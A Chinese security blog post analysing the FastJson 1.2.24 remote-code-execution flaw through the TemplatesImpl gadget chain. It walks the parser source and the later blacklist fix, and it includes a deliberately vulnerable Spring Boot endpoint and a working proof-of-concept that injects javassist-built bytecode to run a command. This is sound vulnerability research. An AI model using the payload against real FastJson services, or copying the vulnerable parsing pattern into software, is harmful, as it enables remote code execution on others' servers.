0x00 前言
FastJson是阿里巴巴开源的一个json库,能够快速的进行序列化和反序列化,但是自17年起就陆陆续续爆出过许多RCE,碰巧前段时间朋友丢过来一个fastjson让帮忙看看,同时之前面试中也有被问到所以就打算来学习一下
前前后后看了好几天同时阅读了很多前辈的文章才弄明白,仔仔细细跟了一下底层利用链(Java还是得继续学习,太菜了呜呜呜)
一共有两种利用链:
- TemplatesImpl
- jndi
本文主要介绍 TemplatesImpl利用链 ,不过相对于jndi利用链,本文介绍的方法局限性会更大一些,jndi会在下一篇文章中进行介绍
0x01 FastJson使用
简单使用
首先在pom.xml中添加依赖,这里我使用的版本是1.2.24
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
Code language: HTML, XML (xml)
User Demo类
public class User {
private String name;
public User() {
System.out.println("调用构造函数");
}
public String getName() {
System.out.println("调用getName");
return name;
}
public void setName(String name) {
System.out.println("调用setName");
this.name = name;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
'}';
}
}
Code language: JavaScript (javascript)
序列化:JSON.toJSONString()
将对象序列化成Json字符串,发现fastjson在序列化的过程中自动调用了类中的 getter 构造函数,这里触发setName是因为前面调用了setName (至于为什么能自动调用下文会讲到)

反序列化:JSON.parseObject(),JSON.parse()
这里两种方法返回的对象会所有不同,如下图:
parseObject:返回 fastjson.JSONObject 类
parse :返回我们的类 User
可以发现在都是默认输入的情况下,parseObject 会返回parseObject,parse则会返回我们的User类

但是我们可以通过在parseObject参数中传入类,从而达到和parse相同的效果
parseObject(input,Object.class) (这里同样可以传入User.class), 发现此时也变成了User类

@type
在FastJson 中有一个@type 参数,能将我们反序列化后的类转为@type 中指定的类,然后在反序列化过程中会自动调用类中的setter getter 和构造器,这里起一个springboot来看一下效果
我们这里写一个Evil恶意类
public class Evil {
String cmd;
public Evil(){
}
public void setCmd(String cmd) throws Exception{
this.cmd = cmd;
Runtime.getRuntime().exec(this.cmd);
}
public String getCmd(){
return this.cmd;
}
@Override
public String toString() {
return "Evil{" +
"cmd='" + cmd + '\'' +
'}';
}
}
Code language: JavaScript (javascript)
准备一个springboot 作为后端
@RestController
public class FastVuln {
@RequestMapping("/fast1")
public String FastVuln1(@RequestParam(name="cmd") String cmd) throws Exception{
Object obj = JSON.parseObject(cmd,Object.class, Feature.SupportNonPublicField);
System.out.println(obj.getClass().getName());
return cmd;
}
}
Code language: JavaScript (javascript)
发送我们构造好的json数据就会触发反序列化,json数据被fastjson反序列化后成我们的恶意Evil类,fastjson就会自动调用setter函数进行赋值

setter getter 自动调用分析
经过上面例子我们可以发现fastjson会自动调用getter setter 函数,那么我们就来研究一下,在源码层面究竟是如何实现的,这里主要和JavaBeanInfo中的build函数有关,我们下面来分析一下
JavaBeanInfo#build
在JavaBeanInfo.build() 的129行处,红框处利用反射将我们传入的类中的方法,属性,构造器分别存入了数组中

下面会来到一个if 判断 ,如果我们默认的构造函数为null 同时 我们的类不是接口或者抽象类就会进入这个判断,这里由于我们传入的是User所以并不会进入这个判断

继续往下看一直看到 328行,先分析上半部分
首先会遍历methods中所有的method方法,然后会经过四个判断,只要符合任意一个判断就会触发continue跳出当前循环,所以必须要满足下面列出来的五个方法才能顺利执行,否则就会跳出当前循环(ps:这里和代码中的判断要反一反)
- 方法名长度不能小于4
- 不能是静态方法
- 返回的类型必须是void 或者是自己本身
- 传入参数个数必须为1
- 方法开头必须是set

如果满足了上面举例出来的五个条件后,就会来到下半部分,如下图:
首先会截取第四位的字符,例如传入的是set_name,则c3就是_ ,然后就会进入下面的几个判断,根据c3不同的情况进行不同的截断

如果经过上面的截取还是找不到属性或者类型为boolean,就会在截取后的变量前加上is然后对部分字符进行大写最后进行拼接处理,然后重新在类中进行寻找属性字段
例:isName

最后会将符合要求的都添加到FieldInfo中


接下来继续看getter方法的判断
和上面set判断差不多,首先会遍历methods中的每个方法,同样的如果要顺利执行下去需要符合四个条件
- 方法名长度不小于4
- 不能是静态方法
- 方法名要get开头同时第四个字符串要大写
- 方法返回的类型必须继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
- 传入的参数个数需要为0

同样的如果符合上面要求的就会添加到FieldInfo中

最后返回JavaBeanInfo,beanInfo中会存放我们类中的各种信息

Feature.SupportNonPublicField
由于该字段在fastjson1.2.22版本引入,所以只能影响1.2.22-1.2.24
在前面的Evil类中,可以发现我们的setter和getter方法是public的,但是如果有时候遇到private的情况我们就不能进行反序列化了,会返回null

这时我们可以添加SerializerFeature.WriteClassName 参数,这样私有属性 _bytecodes ,_tfactory就会被fastjson正常反序列化了

0x02 TemplatesImpl 前置知识
在前言中我们提到TemplatesImpl相比jndi会有更多的限制,接下来来说一下有哪些限制
首先后端解析必须要符合下面的条件之一
- parseObject(input,Object.class,Feature.SupportNonPublicField)
- parse(input,Feature.SupportNonPublicField)
前面说到parseObject如果不传入Object.class则会返回fastjson.JSONObject,无法将传入的类进行转换
如果不传入Feature.SupportNonPublicField,则无法将json中恢复private属性

Poc
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import java.util.Base64;
public class poc1 {
public static String generateEvil() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clas = pool.makeClass("Evil");
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
String cmd = "Runtime.getRuntime().exec(\"open -a Calculator\");";
clas.makeClassInitializer().insertBefore(cmd);
clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));
clas.writeFile("./");
byte[] bytes = clas.toBytecode();
String EvilCode = Base64.getEncoder().encodeToString(bytes);
System.out.println(EvilCode);
return EvilCode;
}
public static void main(String[] args) throws Exception {
final String GADGAT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String evil = poc1.generateEvil();
String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }," + "\"_name\":\"a\",\"allowedProtocols\":\"all\"}\n";
JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);
}
}
Code language: JavaScript (javascript)
_bytecodes为什么需要base64编码?
位置:DefaultFieldDeserializer.parseField() 71行左右,调用了deserialze函数,跟进

位置:com/alibaba/fastjson/serializer/ObjectArrayCodec.deserialze() 128行

位置:com/alibaba/fastjson/parser/JSONScanner.bytesValue() 112行
进行了base64解码操作

_tfactory为什么为{}
如果我们不传入的话,在最后调用的时候,由于_tfactory 为null,所以直接返回了,就到不了加载字节码的地方,所以我们得想办法传入一个数值让_tfactory最后不为null,而是为TransformerFactoryImpl 实例


poc中传入的是{} ,让我们来看一下为什么可以
如果传入的键值为空的话,如果为空会根据类属性定义的类型自动创建实例

TemplatesImpl利用链
具体分析在上一篇文中已经分析过,这里就大致分析一下利用链
最终会调用defineClass,加载_bytecodes 中的恶意字节码,并且转化成类
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()
input#newInstance()
Code language: CSS (css)
FastJson中是如何触发的?
前面说到FastJson在反序列化过程中会自动调用类中的getter函数和setter函数,然后在FastJson在寻找对应的反序列化器的时候会调用一个smartMatch函数来进行模糊匹配,在该函数中会将我们 json中的 _outputProperties 转换成 outputProperties,转换之后fastjson就会找到 getOutputProperties 方法,最后调用时触发了TemplatesImpl的利用链导致RCE
0x03 TemplatesImpl利用链分析
再次梳理一下,fastjson前半部分主要是获取对应属性,对应类的反序列化器,然后实例化之后利用smart来模糊找到对应key的反序列化器,然后调用对应属性的反序列化器进行反序列化 ,接下来我们来分析一下TemplatesImpl最终是如何进行触发的
首先来构造我们的payload,和cc2一样,TemplatesImpl有一条利用链,由于重写了classloader中的defineclass方法,导致在符合条件的情况下能够读取我们构造的恶意字节码,然后在利用newinstance进行实例化的时候会触发我们恶意类中的恶意方法从而导致命令执行
Poc:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import java.util.Base64;
public class poc1 {
public static String generateEvil() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clas = pool.makeClass("Evil");
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
String cmd = "Runtime.getRuntime().exec(\"open -a Calculator\");";
clas.makeClassInitializer().insertBefore(cmd);
clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));
clas.writeFile("./");
byte[] bytes = clas.toBytecode();
String EvilCode = Base64.getEncoder().encodeToString(bytes);
System.out.println(EvilCode);
return EvilCode;
}
public static void main(String[] args) throws Exception {
final String GADGAT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String evil = poc1.generateEvil();
String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }," + "\"_name\":\"a\",\"allowedProtocols\":\"all\"}\n";
JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);
}
}
Code language: JavaScript (javascript)
成功弹出计算器

接下来我们就一步步进行分析
位置:JSON.parseObject() 311行左右
首先会创建默认的Json解析器parser,同时将我们的input作为输入进行传入

位置:DefaultJSONParser 构造函数 175行左右
跟进DefaultJSONParser ,会获取我们input中的第一个字符,然后进入if判断中,如果第一个字符是{ 那么就将12赋值给lexer.token

位置:JSON.parseObject() 311行左右
继续回到parseObject函数中,调用parser的parserObject来解析我们传入的类

位置:DefaultJSONParser.parseObject() 615行左右
在第636行,getDeserializer()会根据我们传入的type类型获取对应的反序列化器,跟进该函数

位置: ParserConfig.getDeserializer 305行左右
跟进getDeserializer 方法后,发现会根据我们传入的type在derializers中寻找对应的反序列化器。
derializers中存放着常见类和其对应的反序列化器(key-value形式),这里由于我们的type是Object.class所以是能够找到对应的反序列化器的,所以进入第一个if,直接返回找到的反序列化器

位置:DefaultJSONParser.parseObject() 615行左右
前面getDeserializer(type)获取到对应的反序列化器之后,继续来到parseObject函数,利用上面获取到的反序列化器来反序列化我们传入的类

位置:DefaultJSONParser.parse() 1305行左右
进入到switch,根据之前的token值进入对应的case,来到下面这个case处,这里new了一个JSON对象,然后利用DefaultJSONParser.parseObject() 对这个对象进行解析,此时fieleName为null,因为还没解析json字段中的内容

位置:DefaultJSONParser.parseObject() 205行左右
首先会对json进行一些规范的检测,然后就会判断{ 下一个字符是不是 " ,由于json数据 { 后面就是" 所以我们继续往下看即可

继续往下看会有一个if判断,如果我们的key等于JSON.DEFAULT_TYPE_KEY 同时 没有开启Feature.DisableSpecialKeyDetect 就会进入判断,利用loadClass,加载我们的类对象

然后会根据我们之前加载的类,寻找对应的反序列化器

位置:ParserConfig.getDeserializer() 305行左右
跟进getDeserializer 函数,由于此时我们的type是class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 所以自然是找不到的,所以进入第二个if判断

位置:ParserConfig.getDeserializer() 327行左右
继续跟进getDeserializer方法,在第360行处会经过一个黑名单处理,会获取我们的类名然后判断我们的类是否在黑名单中

denyList内容如下

经过之后会进行一系列的判断,由于TemplatesImpl类都不在if判断的条件范围内,所以会创建一个JavaBeanDeserializer ,我们跟进createJavaBeanDeserializer 这个函数

位置:ParseConfig.createJavaBeanDeserializer() 469行左右
跟进createJavaBeanDeserializer函数,在第526行左右,发现调用了build函数,前面有讲过build,在build中会利用反射获取类的信息然后存在beanInfo

进入到585行的if判断,进入到JavaBeanDeserializer,我们继续跟进JavaBeanDeserializer 方法

位置:JavaBeanDeserializer 构造函数 38行左右
将config,JavaBeanInfo传入到JavaBeanDeserializer函数中

遍历beaninfo中的sortedFields,然后根据对应的属性创建对应的反序列化器,然后添加到sortedFieldDeserializerss中
在第二个for循环中会根据fieldInfo的名字调用getFieldDeserializer函数在sortedFieldDeserializers数组中寻找对应的反序列化器

getFieldDeserializer就是一个查找的函数,找到了返回对应的反序列化器,没找到则返回null

位置:ParserConfig.getDeserializer 大约466行
重新回到getDeserializer函数,返回反序列化器

位置:DefaultJSONParser.parseObject() 大约368行
在都获取到了对应的反序列化器之后,正式开始进行反序列化

位置:JavaBeanDeserializer.deserialze() 大约266行
在570行左右,对我们的类进行了实例化

接下来就是对参数进行解析,跟进parseField方法

位置:JavaBeanDeserializer.parseField() 720行左右
在该方法中利用smartMatch对我们传入的属性进行了模糊匹配,跟进该函数

首先会利用getFieldDeserializer寻找与key对应的反序列化器,如果找不到对应的则会判断是否属性是布尔类型(例:isName)
前半部分不是重点

重点来看后半部分,红框处将_替换为了空,即我们传入的_outputProperties 会在这里变成 outputProperties

然后调用getFieldDeserializer,在sortedFieldDeserializers 中找到getOutputProperties 方法,并且进行返回


位置:DefaultFieldDeserialier.parseField
调用与属性对应的反序列化器,对属性进行反序列化,将反序列化后的值赋值给value,然后进入setValue

此时method已为 getOutputProperties

利用反射进行触发

位置:TemplatesImpl.getOutputProperties() 505行左右
然后就会调用getOutputProperties函数,然后getOutputProperties函数中会调用newTransformer()函数,跟进newTransformer函数

位置:TemplatesImpl.newTransformer() 481行左右
跟进getTransletInstance() 方法

位置:TemplatesImpl.getTransletInstance()
如果_class 等于null,进入defineTransletClasses函数,进行跟进

位置:TemplatesImpl.defineTransletClasses() 390行
在414行左右,会调用defineClass来加载字节码

位置:TemplatesImpl.getTransletInstance() 446行
在第455行处,对加载的类进行了实例化,然后触发了静态方法,从而触发了恶意命令执行

0x04 fastjson 1.2.24 修复
将DefaultJSONParser.parseObject中将加载类的TypeUtils.loadClass方法替换为了this.config.checkAutoType()方法

在checkAutoType中,利用了白名单+黑名单的机制

同时增加了黑名单, 在黑名单中扩充了很多类

如果检测到传入的类在黑名单中则停止反序列化
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
Code language: CSS (css)
可以发现fastjson修改这里在加载类上都做了限制,采用了白名单+黑名单的方式(可惜后面还是被绕过了)
这是阿里更新之后的日志,如果企业中爆发了类似fastjson的这样安全事件可以先全局搜索pom.xml搜索到利用fastjson的地方,然后写Poc进行全量的漏扫,然后推送开发进行对应性的修复,同时可在waf中添加"@type" 进行拦截
以上这些只是我自己的一些想法,有可能还有很多不到位的地方,这里可以看下面廖师傅的文章
看快手如何干掉Fastjson
http://xxlegend.com/2020/11/22/%E7%9C%8B%E5%BF%AB%E6%89%8B%E5%A6%82%E4%BD%95%E5%B9%B2%E6%8E%89Fastjson/
0x05 参考链接
http://xxlegend.com/2020/11/22/%E7%9C%8B%E5%BF%AB%E6%89%8B%E5%A6%82%E4%BD%95%E5%B9%B2%E6%8E%89Fastjson/